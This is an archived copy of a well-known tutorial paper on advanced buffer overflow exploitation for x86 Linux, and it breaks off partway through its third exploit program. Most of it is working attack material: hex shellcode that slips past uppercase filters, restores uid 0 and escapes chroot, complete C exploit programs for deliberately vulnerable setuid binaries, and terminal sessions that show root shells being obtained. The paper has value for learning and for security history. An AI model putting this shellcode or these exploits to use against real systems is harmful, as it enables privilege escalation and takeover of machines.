home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / adv.overflow.paper.txt next >
Encoding:
Text File  |  2000-12-24  |  60.2 KB  |  1,444 lines

  1.  Advanced buffer overflow exploits
  2.  
  3.  
  4.  Written by Taeho Oh ( ohhara@postech.edu )
  5. ----------------------------------------------------------------------------
  6. Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
  7. PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
  8. PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
  9. ----------------------------------------------------------------------------
  10.  
  11.  
  12. 1. Introduction
  13.  Nowadays there are many buffer overflow exploit codes. The early buffer
  14. overflow exploit codes only spawn a shell ( execute /bin/sh ). However,
  15. nowadays some of the buffer overflow exploit codes have very nice features.
  16. For example, passing through filtering, opening a socket, breaking chroot,
  17. and so on. This paper will attempt to explain the advanced buffer overflow
  18. exploit skill under intel x86 linux.
  19.  
  20. 2. What do you have to know before reading?
  21.  You have to know assembly language, C language, and Linux. Of course, you
  22. have to know what buffer overflow is. You can get the information of the
  23. buffer overflow in phrack 49-14 ( Smashing The Stack For Fun And Profit
  24. by Aleph1 ). It is a wonderful paper of buffer overflow and I highly recommend
  25. you to read that before reading this one.
  26.  
  27. 3. Pass through filtering
  28.  There are many programs which has buffer overflow problems. Why are not the
  29. all buffer overflow problems exploited? Because even if a program has a buffer
  30. overflow condition, it can be hard to exploit. In many cases, the reason is
  31. that the program filters some characters or converts characters into other
  32. characters. If the program filters all non printable characters, it's too
  33. hard to exploit. If the program filters some of characters, you can pass
  34. through the filter by making good buffer overflow exploit code. :)
  35.  
  36. 3.1 The example vulnerable program
  37.  
  38. vulnerable1.c
  39. ----------------------------------------------------------------------------
  40. #include<string.h>
  41. #include<ctype.h>
  42.  
  43. int main(int argc,int **argv)
  44. {
  45.     char buffer[1024];
  46.     int i;
  47.     if(argc>1)
  48.     {
  49.         for(i=0;i<strlen(argv[1]);i++)
  50.             argv[1][i]=toupper(argv[1][i]);
  51.         strcpy(buffer,argv[1]);
  52.     }
  53. }
  54. ----------------------------------------------------------------------------
  55.  
  56.  This vulnerable program converts small letters into capital letters of the
  57. user input. Therefore, you have to make a shellcode which doesn't contain any
  58. small letters. How can you do that? You have to reference the character string
  59. "/bin/sh" which must contain small letters. However, you can exploit this. :)
  60.  
  61. 3.2 Modify the normal shellcode
  62.  Almost all buffer overflow exploit code uses this shellcode. Now you have
  63. to remove all small letters in the shellcode. Of course, the new shellcode
  64. has to execute a shell.
  65.  
  66. normal shellcode
  67. ----------------------------------------------------------------------------
  68. char shellcode[]=
  69.     "\xeb\x1f"                      /* jmp 0x1f              */
  70.     "\x5e"                          /* popl %esi             */
  71.     "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  72.     "\x31\xc0"                      /* xorl %eax,%eax        */
  73.     "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  74.     "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  75.     "\xb0\x0b"                      /* movb $0xb,%al         */
  76.     "\x89\xf3"                      /* movl %esi,%ebx        */
  77.     "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  78.     "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  79.     "\xcd\x80"                      /* int $0x80             */
  80.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  81.     "\x89\xd8"                      /* movl %ebx,%eax        */
  82.     "\x40"                          /* inc %eax              */
  83.     "\xcd\x80"                      /* int $0x80             */
  84.     "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
  85.     "/bin/sh";                      /* .string \"/bin/sh\"   */
  86. ----------------------------------------------------------------------------
  87.  
  88.  This shellcode has 6 small letters. ( 5 small letters in the "/bin/sh" and
  89. 1 small letter in "movl %esi,0x8(%esi)" )
  90.  You cannot use "/bin/sh" character string directly to pass through the
  91. filter. However, you can insert any characters except for small characters.
  92. Therefore, you can insert "\x2f\x12\x19\x1e\x2f\x23\x18" instead of
  93. "\x2f\x62\x69\x6e\x2f\x73\x68" ( "/bin/sh" ). After you overflow the buffer
  94. , you have to change "\x2f\x12\x19\x1e\x2f\x23\x18" into
  95. "\x2f\x62\x69\x6e\x2f\x73\x68" to execute "/bin/sh". You can change easily
  96. by adding \x50 to \x62, \x69, \x6e, \x73, and \x68 when your shellcode
  97. is executed. Then how can you hide \x76 in "movl %esi,0x8(%esi)" ? You
  98. can change "movl %esi,0x8(%esi)" into other instructions that do the equivalent
  99. instruction and do not contain any small letters. For example, 
  100. "movl %esi,0x8(%esi)" can be changed into "movl %esi,%eax", "addl $0x8,%eax",
  101. "movl %eax,0x8(%esi)". The changed instructions have any small letters.
  102. ( I think other good instructions to do same thing. It's just an example. )
  103. Now the new shellcode is made.
  104.  
  105. new shellcode
  106. ----------------------------------------------------------------------------
  107. char shellcode[]=
  108.     "\xeb\x38"                      /* jmp 0x38              */
  109.     "\x5e"                          /* popl %esi             */
  110.     "\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
  111.     "\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
  112.     "\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
  113.     "\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
  114.     "\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
  115.     "\x89\xf0"                      /* movl %esi,%eax        */
  116.     "\x83\xc0\x08"                  /* addl $0x8,%eax        */
  117.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  118.     "\x31\xc0"                      /* xorl %eax,%eax        */
  119.     "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  120.     "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  121.     "\xb0\x0b"                      /* movb $0xb,%al         */
  122.     "\x89\xf3"                      /* movl %esi,%ebx        */
  123.     "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  124.     "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  125.     "\xcd\x80"                      /* int $0x80             */
  126.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  127.     "\x89\xd8"                      /* movl %ebx,%eax        */
  128.     "\x40"                          /* inc %eax              */
  129.     "\xcd\x80"                      /* int $0x80             */
  130.     "\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
  131.     "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
  132.                                     /* /bin/sh is disguised  */
  133. ----------------------------------------------------------------------------
  134.  
  135. 3.3 Exploit vulnerable1 program
  136.  
  137.  With this shellcode, you can make an exploit code easily.
  138.  
  139. exploit1.c
  140. ----------------------------------------------------------------------------
  141. #include<stdio.h>
  142. #include<stdlib.h>
  143.  
  144. #define ALIGN                             0
  145. #define OFFSET                            0
  146. #define RET_POSITION                   1024
  147. #define RANGE                            20
  148. #define NOP                            0x90
  149.  
  150. char shellcode[]=
  151.     "\xeb\x38"                      /* jmp 0x38              */
  152.     "\x5e"                          /* popl %esi             */
  153.     "\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
  154.     "\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
  155.     "\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
  156.     "\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
  157.     "\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
  158.     "\x89\xf0"                      /* movl %esi,%eax        */
  159.     "\x83\xc0\x08"                  /* addl $0x8,%eax        */
  160.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  161.     "\x31\xc0"                      /* xorl %eax,%eax        */
  162.     "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  163.     "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  164.     "\xb0\x0b"                      /* movb $0xb,%al         */
  165.     "\x89\xf3"                      /* movl %esi,%ebx        */
  166.     "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  167.     "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  168.     "\xcd\x80"                      /* int $0x80             */
  169.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  170.     "\x89\xd8"                      /* movl %ebx,%eax        */
  171.     "\x40"                          /* inc %eax              */
  172.     "\xcd\x80"                      /* int $0x80             */
  173.     "\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
  174.     "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
  175.                                     /* /bin/sh is disguised  */
  176.  
  177. unsigned long get_sp(void)
  178. {
  179.     __asm__("movl %esp,%eax");
  180. }
  181.  
  182. main(int argc,char **argv)
  183. {
  184.     char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  185.     long addr;
  186.     unsigned long sp;
  187.     int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
  188.     int i;
  189.  
  190.     if(argc>1)
  191.         offset=atoi(argv[1]);
  192.  
  193.     sp=get_sp();
  194.     addr=sp-offset;
  195.  
  196.     for(i=0;i<bsize;i+=4)
  197.     {
  198.         buff[i+ALIGN]=(addr&0x000000ff);
  199.         buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
  200.         buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
  201.         buff[i+ALIGN+3]=(addr&0xff000000)>>24;
  202.     }
  203.  
  204.     for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
  205.         buff[i]=NOP;
  206.  
  207.     ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  208.     for(i=0;i<strlen(shellcode);i++)
  209.         *(ptr++)=shellcode[i];
  210.  
  211.     buff[bsize-1]='\0';
  212.  
  213.     printf("Jump to 0x%08x\n",addr);
  214.  
  215.     execl("./vulnerable1","vulnerable1",buff,0);
  216. }
  217. ----------------------------------------------------------------------------
  218.  
  219. exploit the vulnerable1 program
  220. ----------------------------------------------------------------------------
  221. [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable1
  222. -rwsr-xr-x   1 root     root         4342 Oct 18 13:20 vulnerable1*
  223. [ ohhara@ohhara ~ ] {2} $ ls -l exploit1
  224. -rwxr-xr-x   1 ohhara   cse          6932 Oct 18 13:20 exploit1*
  225. [ ohhara@ohhara ~ ] {3} $ ./exploit1
  226. Jump to 0xbfffec64
  227. Segmentation fault
  228. [ ohhara@ohhara ~ ] {4} $ ./exploit1 500
  229. Jump to 0xbfffea70
  230. bash# whoami
  231. root
  232. bash#
  233. ----------------------------------------------------------------------------
  234.  
  235. 3.4 What can you do with this technique?
  236.  You can pass through various form filters with this technique. When the
  237. vulnerable program filter !@#$%^&*(), you can make the new shellcode which
  238. doesn't contain !@#$%^&*(). However, you will have difficulties in making a
  239. shellcode, if the program filters many characters.
  240.  
  241. 4 Change uid back to 0
  242.  The setuid root program which knows that work with root permission is very
  243. dangerous calls seteuid(getuid()) at start. And it calls seteuid(0) when it is
  244. needed. Many programmer thinks that it's safe after calling seteuid(getuid()).
  245. However, it's not true. The uid can be back to 0.
  246.  
  247. 4.1 The example vulnerable program
  248.  
  249. vulnerable2.c
  250. ----------------------------------------------------------------------------
  251. #include<string.h>
  252. #include<unistd.h>
  253.  
  254. int main(int argc,char **argv)
  255. {
  256.     char buffer[1024];
  257.     seteuid(getuid());
  258.     if(argc>1)
  259.         strcpy(buffer,argv[1]);
  260. }
  261. ----------------------------------------------------------------------------
  262.  
  263.  This vulnerable program calls seteuid(getuid()) at start. Therefore, you
  264. may think that "strcpy(buffer,argv[1]);" is OK. Because you can only get
  265. your own shell although you succeed in buffer overflow attack. However,
  266. if you insert a code which calls setuid(0) in the shellcode, you can get
  267. root shell. :)
  268.  
  269. 4.2 Make setuid(0) code
  270.  
  271. setuidasm.c
  272. ----------------------------------------------------------------------------
  273. main()
  274. {
  275.     setuid(0);
  276. }
  277. ----------------------------------------------------------------------------
  278.  
  279. compile and disassemble
  280. ----------------------------------------------------------------------------
  281. [ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
  282. [ ohhara@ohhara ~ ] {2} $ gdb setuidasm
  283. GNU gdb 4.17
  284. Copyright 1998 Free Software Foundation, Inc.
  285. GDB is free software, covered by the GNU General Public License, and you are
  286. welcome to change it and/or distribute copies of it under certain conditions.
  287. Type "show copying" to see the conditions.
  288. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  289. This GDB was configured as "i386-redhat-linux"...
  290. (gdb) disassemble setuid
  291. Dump of assembler code for function __setuid:
  292. 0x804ca00 <__setuid>:   movl   %ebx,%edx
  293. 0x804ca02 <__setuid+2>: movl   0x4(%esp,1),%ebx
  294. 0x804ca06 <__setuid+6>: movl   $0x17,%eax
  295. 0x804ca0b <__setuid+11>:        int    $0x80
  296. 0x804ca0d <__setuid+13>:        movl   %edx,%ebx
  297. 0x804ca0f <__setuid+15>:        cmpl   $0xfffff001,%eax
  298. 0x804ca14 <__setuid+20>:        jae    0x804cc10 <__syscall_error>
  299. 0x804ca1a <__setuid+26>:        ret    
  300. 0x804ca1b <__setuid+27>:        nop    
  301. 0x804ca1c <__setuid+28>:        nop    
  302. 0x804ca1d <__setuid+29>:        nop    
  303. 0x804ca1e <__setuid+30>:        nop    
  304. 0x804ca1f <__setuid+31>:        nop    
  305. End of assembler dump.
  306. (gdb)
  307. ----------------------------------------------------------------------------
  308.  
  309. setuid(0); code
  310. ----------------------------------------------------------------------------
  311. char code[]=
  312.     "\x31\xc0"                      /* xorl %eax,%eax        */
  313.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  314.     "\xb0\x17"                      /* movb $0x17,%al        */
  315.     "\xcd\x80";                     /* int $0x80             */
  316. ----------------------------------------------------------------------------
  317.  
  318. 4.3 Modify the normal shellcode
  319.  
  320.  Making new shellcode is very easy if you make setuid(0) code. Just insert
  321. the code into the start of the normal shellcode.
  322.  
  323. new shellcode
  324. ----------------------------------------------------------------------------
  325. char shellcode[]=
  326.     "\x31\xc0"                      /* xorl %eax,%eax        */
  327.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  328.     "\xb0\x17"                      /* movb $0x17,%al        */
  329.     "\xcd\x80"                      /* int $0x80             */
  330.     "\xeb\x1f"                      /* jmp 0x1f              */
  331.     "\x5e"                          /* popl %esi             */
  332.     "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  333.     "\x31\xc0"                      /* xorl %eax,%eax        */
  334.     "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  335.     "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  336.     "\xb0\x0b"                      /* movb $0xb,%al         */
  337.     "\x89\xf3"                      /* movl %esi,%ebx        */
  338.     "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  339.     "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  340.     "\xcd\x80"                      /* int $0x80             */
  341.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  342.     "\x89\xd8"                      /* movl %ebx,%eax        */
  343.     "\x40"                          /* inc %eax              */
  344.     "\xcd\x80"                      /* int $0x80             */
  345.     "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
  346.     "/bin/sh";                      /* .string \"/bin/sh\"   */
  347. ----------------------------------------------------------------------------
  348.  
  349. 4.4 Exploit vulnerable2 program
  350.  
  351.  With this shellcode, you can make an exploit code easily.
  352.  
  353. exploit2.c
  354. ----------------------------------------------------------------------------
  355. #include<stdio.h>
  356. #include<stdlib.h>
  357.  
  358. #define ALIGN                             0
  359. #define OFFSET                            0
  360. #define RET_POSITION                   1024
  361. #define RANGE                            20
  362. #define NOP                            0x90
  363.  
  364. char shellcode[]=
  365.     "\x31\xc0"                      /* xorl %eax,%eax        */
  366.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  367.     "\xb0\x17"                      /* movb $0x17,%al        */
  368.     "\xcd\x80"                      /* int $0x80             */
  369.     "\xeb\x1f"                      /* jmp 0x1f              */
  370.     "\x5e"                          /* popl %esi             */
  371.     "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  372.     "\x31\xc0"                      /* xorl %eax,%eax        */
  373.     "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  374.     "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  375.     "\xb0\x0b"                      /* movb $0xb,%al         */
  376.     "\x89\xf3"                      /* movl %esi,%ebx        */
  377.     "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  378.     "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  379.     "\xcd\x80"                      /* int $0x80             */
  380.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  381.     "\x89\xd8"                      /* movl %ebx,%eax        */
  382.     "\x40"                          /* inc %eax              */
  383.     "\xcd\x80"                      /* int $0x80             */
  384.     "\xe8\xdc\xff\xff\xff"          /* call -0x24            */
  385.     "/bin/sh";                      /* .string \"/bin/sh\"   */
  386.  
  387. unsigned long get_sp(void)
  388. {
  389.     __asm__("movl %esp,%eax");
  390. }
  391.  
  392. void main(int argc,char **argv)
  393. {
  394.     char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  395.     long addr;
  396.     unsigned long sp;
  397.     int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
  398.     int i;
  399.  
  400.     if(argc>1)
  401.         offset=atoi(argv[1]);
  402.  
  403.     sp=get_sp();
  404.     addr=sp-offset;
  405.  
  406.     for(i=0;i<bsize;i+=4)
  407.     {
  408.         buff[i+ALIGN]=(addr&0x000000ff);
  409.         buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
  410.         buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
  411.         buff[i+ALIGN+3]=(addr&0xff000000)>>24;
  412.     }
  413.  
  414.     for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
  415.         buff[i]=NOP;
  416.  
  417.     ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  418.     for(i=0;i<strlen(shellcode);i++)
  419.         *(ptr++)=shellcode[i];
  420.  
  421.     buff[bsize-1]='\0';
  422.  
  423.     printf("Jump to 0x%08x\n",addr);
  424.  
  425.     execl("./vulnerable2","vulnerable2",buff,0);
  426. }
  427. ----------------------------------------------------------------------------
  428.  
  429. exploit the vulnerable2 program
  430. ----------------------------------------------------------------------------
  431. [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable2
  432. -rwsr-xr-x   1 root     root         4258 Oct 18 14:16 vulnerable2*
  433. [ ohhara@ohhara ~ ] {2} $ ls -l exploit2
  434. -rwxr-xr-x   1 ohhara   cse          6932 Oct 18 14:26 exploit2*
  435. [ ohhara@ohhara ~ ] {3} $ ./exploit2
  436. Jump to 0xbfffec64
  437. Illegal instruction
  438. [ ohhara@ohhara ~ ] {4} $ ./exploit2 500
  439. Jump to 0xbfffea70
  440. bash# whoami
  441. root
  442. bash#
  443. ----------------------------------------------------------------------------
  444.  
  445. 4.5 What can you do with this technique?
  446.  You attack a setuid root program with buffer overflow but you only get your
  447. own shell. You can use this technique in that situation.
  448.  
  449. 5 Break chroot
  450.  If the setuid root program is chrooted, you can access only chrooted
  451. directory. You cannot access root directory. However, you can access all
  452. directories, if your shellcode change the root directory into "/" again. :)
  453.  
  454. 5.1 The example vulnerable program
  455.  
  456. vulnerable3.c
  457. ----------------------------------------------------------------------------
  458. #include<string.h>
  459. #include<unistd.h>
  460.  
  461. int main(int argc,char **argv)
  462. {
  463.     char buffer[1024];
  464.     chroot("/home/ftp");
  465.     chdir("/");
  466.     if(argc>1)
  467.         strcpy(buffer,argv[1]);
  468. }
  469. ----------------------------------------------------------------------------
  470.  
  471.  If you tries to execute "/bin/sh" with buffer overflow, it may executes
  472. "/home/ftp/bin/sh" ( if it exists ) and you cannot access the other directories
  473. except for "/home/ftp".
  474.  
  475. 5.2 Make break chroot code
  476.  If you can execute below code, you can break chroot.
  477.  
  478. breakchrootasm.c
  479. ----------------------------------------------------------------------------
  480. main()
  481. {
  482.     mkdir("sh",0755);
  483.     chroot("sh");
  484.     /* many "../" */
  485.     chroot("../../../../../../../../../../../../../../../../");
  486. }
  487. ----------------------------------------------------------------------------
  488.  
  489.  This break chroot code makes "sh" directory, because it's easy to reference.
  490. ( it's also used to execute "/bin/sh" )
  491.  
  492. compile and disassemble
  493. ----------------------------------------------------------------------------
  494. [ ohhara@ohhara ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c
  495. [ ohhara@ohhara ~ ] {2} $ gdb breakchrootasm
  496. GNU gdb 4.17
  497. Copyright 1998 Free Software Foundation, Inc.
  498. GDB is free software, covered by the GNU General Public License, and you are
  499. welcome to change it and/or distribute copies of it under certain conditions.
  500. Type "show copying" to see the conditions.
  501. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  502. This GDB was configured as "i386-redhat-linux"...
  503. (gdb) disassemble mkdir
  504. Dump of assembler code for function __mkdir:
  505. 0x804cac0 <__mkdir>:    movl   %ebx,%edx
  506. 0x804cac2 <__mkdir+2>:  movl   0x8(%esp,1),%ecx
  507. 0x804cac6 <__mkdir+6>:  movl   0x4(%esp,1),%ebx
  508. 0x804caca <__mkdir+10>: movl   $0x27,%eax
  509. 0x804cacf <__mkdir+15>: int    $0x80
  510. 0x804cad1 <__mkdir+17>: movl   %edx,%ebx
  511. 0x804cad3 <__mkdir+19>: cmpl   $0xfffff001,%eax
  512. 0x804cad8 <__mkdir+24>: jae    0x804cc40 <__syscall_error>
  513. 0x804cade <__mkdir+30>: ret    
  514. 0x804cadf <__mkdir+31>: nop    
  515. End of assembler dump.
  516. (gdb) disassemble chroot
  517. Dump of assembler code for function chroot:
  518. 0x804cb60 <chroot>:     movl   %ebx,%edx
  519. 0x804cb62 <chroot+2>:   movl   0x4(%esp,1),%ebx
  520. 0x804cb66 <chroot+6>:   movl   $0x3d,%eax
  521. 0x804cb6b <chroot+11>:  int    $0x80
  522. 0x804cb6d <chroot+13>:  movl   %edx,%ebx
  523. 0x804cb6f <chroot+15>:  cmpl   $0xfffff001,%eax
  524. 0x804cb74 <chroot+20>:  jae    0x804cc40 <__syscall_error>
  525. 0x804cb7a <chroot+26>:  ret    
  526. 0x804cb7b <chroot+27>:  nop    
  527. 0x804cb7c <chroot+28>:  nop    
  528. 0x804cb7d <chroot+29>:  nop    
  529. 0x804cb7e <chroot+30>:  nop    
  530. 0x804cb7f <chroot+31>:  nop    
  531. End of assembler dump.
  532. (gdb)
  533. ----------------------------------------------------------------------------
  534.  
  535. mkdir("sh",0755); code
  536. ----------------------------------------------------------------------------
  537.     /* mkdir first argument is %ebx and second argument is   */
  538.     /* %ecx.                                                 */
  539. char code[]=
  540.     "\x31\xc0"                      /* xorl %eax,%eax        */
  541.     "\x31\xc9"                      /* xorl %ecx,%ecx        */
  542.     "\xb0\x17"                      /* movb $0x27,%al        */
  543.     "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  544.     /* %esi has to reference "/bin/sh" before using this     */
  545.     /* instruction. This instruction load address of "sh"    */
  546.     /* and store at %ebx                                     */
  547.     "\xfe\xc5"                      /* incb %ch              */
  548.     /* %cx = 0000 0001 0000 0000                             */
  549.     "\xb0\x3d"                      /* movb $0xed,%cl        */
  550.     /* %cx = 0000 0001 1110 1101                             */
  551.     /* %cx = 000 111 101 101                                 */
  552.     /* %cx = 0   7   5   5                                   */
  553.     "\xcd\x80";                     /* int $0x80             */
  554. ----------------------------------------------------------------------------
  555.  
  556. chroot("sh"); code
  557. ----------------------------------------------------------------------------
  558.     /* chroot first argument is ebx */
  559. char code[]=
  560.     "\x31\xc0"                      /* xorl %eax,%eax        */
  561.     "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  562.     "\xb0\x3d"                      /* movb $0x3d,%al        */
  563.     "\xcd\x80";                     /* int $0x80             */
  564. ----------------------------------------------------------------------------
  565.  
  566. chroot("../../../../../../../../../../../../../../../../"); code
  567. ----------------------------------------------------------------------------
  568. char code[]=
  569.     "\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
  570.     /* disguised "../" character string                      */
  571.     "\xf7\xdb"                      /* negl %ebx             */
  572.     /* %ebx = $0x002f2e2e                                    */
  573.     /* intel x86 is little endian.                           */
  574.     /* %ebx = "../"                                          */
  575.     "\x31\xc9"                      /* xorl %ecx,%ecx        */
  576.     "\xb1\x10"                      /* movb $0x10,%cl        */
  577.     /* prepare for looping 16 times.                         */
  578.     "\x56"                          /* pushl %esi            */
  579.     /* backup current %esi. %esi has the pointer of          */
  580.     /* "/bin/sh".                                            */
  581.     "\x01\xce"                      /* addl %ecx,%esi        */
  582.     "\x89\x1e"                      /* movl %ebx,(%esi)      */
  583.     "\x83\xc6\x03"                  /* addl $0x3,%esi        */
  584.     "\xe0\xf9"                      /* loopne -0x7           */
  585.     /* make "../../../../ . . . " character string at        */
  586.     /* 0x10(%esi) by looping.                                */
  587.     "\x5e"                          /* popl %esi             */
  588.     /* restore %esi.                                         */
  589.     "\xb0\x3d"                      /* movb $0x3d,%al        */
  590.     "\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
  591.     /* %ebx has the address of "../../../../ . . . ".        */
  592.     "\xcd\x80";                     /* int $0x80             */
  593. ----------------------------------------------------------------------------
  594.  
  595. 5.3 Modify the normal shellcode
  596.  
  597.  Making new shellcode is very easy if you make break chroot code. Just insert
  598. the code into the start of the normal shellcode and modify jmp and call
  599. argument.
  600.  
  601. new shellcode
  602. ----------------------------------------------------------------------------
  603. char shellcode[]=
  604.     "\xeb\x4f"                      /* jmp 0x4f              */
  605.     "\x31\xc0"                      /* xorl %eax,%eax        */
  606.     "\x31\xc9"                      /* xorl %ecx,%ecx        */
  607.     "\x5e"                          /* popl %esi             */
  608.     "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
  609.     "\xb0\x27"                      /* movb $0x27,%al        */
  610.     "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  611.     "\xfe\xc5"                      /* incb %ch              */
  612.     "\xb1\xed"                      /* movb $0xed,%cl        */
  613.     "\xcd\x80"                      /* int $0x80             */
  614.     "\x31\xc0"                      /* xorl %eax,%eax        */
  615.     "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  616.     "\xb0\x3d"                      /* movb $0x3d,%al        */
  617.     "\xcd\x80"                      /* int $0x80             */
  618.     "\x31\xc0"                      /* xorl %eax,%eax        */
  619.     "\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
  620.     "\xf7\xdb"                      /* negl %ebx             */
  621.     "\x31\xc9"                      /* xorl %ecx,%ecx        */
  622.     "\xb1\x10"                      /* movb $0x10,%cl        */
  623.     "\x56"                          /* pushl %esi            */
  624.     "\x01\xce"                      /* addl %ecx,%esi        */
  625.     "\x89\x1e"                      /* movl %ebx,(%esi)      */
  626.     "\x83\xc6\x03"                  /* addl %0x3,%esi        */
  627.     "\xe0\xf9"                      /* loopne -0x7           */
  628.     "\x5e"                          /* popl %esi             */
  629.     "\xb0\x3d"                      /* movb $0x3d,%al        */
  630.     "\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
  631.     "\xcd\x80"                      /* int $0x80             */
  632.     "\x31\xc0"                      /* xorl %eax,%eax        */
  633.     "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  634.     "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  635.     "\xb0\x0b"                      /* movb $0xb,%al         */
  636.     "\x89\xf3"                      /* movl %esi,%ebx        */
  637.     "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  638.     "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  639.     "\xcd\x80"                      /* int $0x80             */
  640.     "\xe8\xac\xff\xff\xff"          /* call -0x54            */
  641.     "/bin/sh";                      /* .string \"/bin/sh\"   */
  642. ----------------------------------------------------------------------------
  643.  
  644. 5.4 Exploit vulnerable3 program
  645.  With this shellcode, you can make an exploit code easily.
  646.  
  647. exploit3.c
  648. ----------------------------------------------------------------------------
  649. #include<stdio.h>
  650. #include<stdlib.h>
  651.  
  652. #define ALIGN                             0
  653. #define OFFSET                            0
  654. #define RET_POSITION                   1024
  655. #define RANGE                            20
  656. #define NOP                            0x90
  657.  
  658. char shellcode[]=
  659.     "\xeb\x4f"                      /* jmp 0x4f              */
  660.     "\x31\xc0"                      /* xorl %eax,%eax        */
  661.     "\x31\xc9"                      /* xorl %ecx,%ecx        */
  662.     "\x5e"                          /* popl %esi             */
  663.     "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
  664.     "\xb0\x27"                      /* movb $0x27,%al        */
  665.     "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  666.     "\xfe\xc5"                      /* incb %ch              */
  667.     "\xb1\xed"                      /* movb $0xed,%cl        */
  668.     "\xcd\x80"                      /* int $0x80             */
  669.     "\x31\xc0"                      /* xorl %eax,%eax        */
  670.     "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
  671.     "\xb0\x3d"                      /* movb $0x3d,%al        */
  672.     "\xcd\x80"                      /* int $0x80             */
  673.     "\x31\xc0"                      /* xorl %eax,%eax        */
  674.     "\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
  675.     "\xf7\xdb"                      /* negl %ebx             */
  676.     "\x31\xc9"                      /* xorl %ecx,%ecx        */
  677.     "\xb1\x10"                      /* movb $0x10,%cl        */
  678.     "\x56"                          /* pushl %esi            */
  679.     "\x01\xce"                      /* addl %ecx,%esi        */
